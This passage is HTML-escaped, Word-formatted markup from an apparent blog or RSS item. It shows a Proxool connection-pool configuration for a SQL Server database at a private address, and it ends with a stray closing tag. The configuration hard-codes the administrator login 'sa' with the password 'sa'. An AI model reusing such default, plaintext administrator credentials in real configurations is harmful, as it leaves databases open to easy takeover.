TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;font face="Times New Roman"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;!--&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-shading: white; mso-pattern: gray-15 auto; mso-ascii-: white"&gt;别名一连接&lt;/span&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;MSSQL--&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;span style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;alias&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;mssql&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;-port&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;alias&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; mso-font-kerning: 0pt"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;font face="Times New Roman"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;!--&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-shading: white; mso-pattern: gray-15 auto; mso-ascii-: white"&gt;连接数据库&lt;/span&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;URL--&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; mso-font-kerning: 0pt"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;span style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;driver-url&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;jdbc:microsoft:sqlserver://192.168.7.152:1433;DatabaseName=bs_njtrprotal&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;driver-url&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; mso-font-kerning: 0pt"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;font face="Times New Roman"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;!--&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-shading: white; mso-pattern: gray-15 auto; mso-ascii-: white"&gt;连接数据库驱动&lt;/span&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;--&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;span style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;driver-class&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;com.microsoft.jdbc.sqlserver.SQLServerDriver&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;driver-class&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;span style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;driver-properties&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; mso-font-kerning: 0pt"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;font face="Times New Roman"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;!--&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-shading: white; mso-pattern: gray-15 auto; mso-ascii-: white"&gt;用户配置&lt;/span&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;--&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;span style="mso-tab-count: 3"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;property&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: red; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt; name&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;="&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;user&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;"&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: red; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt; value&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;="&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;sa&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;"/&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;span style="mso-tab-count: 3"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;property&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: red; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt; name&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;="&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;password&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;"&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: red; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt; value&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;="&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;sa&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;"/&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;span style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;driver-properties&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; mso-font-kerning: 0pt"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;span style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;maximum-connection-count&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;100&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;maximum-connection-count&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;span style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;house-keeping-test-sql&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;select * from subject&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;house-keeping-test-sql&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;span style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;proxool&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt; &lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-layout-grid-align: none" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: black; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;font face="Times New Roman"&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: maroon; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;something-else-entirely&lt;/span&gt;&lt;span style="FONT-SIZE: 12pt; BACKGROUND: white; COLOR: blue; mso-font-kerning: 0pt; mso-highlight: white; mso-shading: white; mso-pattern: gray-15 auto"&gt;&amp;gt;&lt;/span&gt;&lt;/font&gt; &lt;p&gt; &lt;/p&gt;&lt;/div&gt;</description><guid 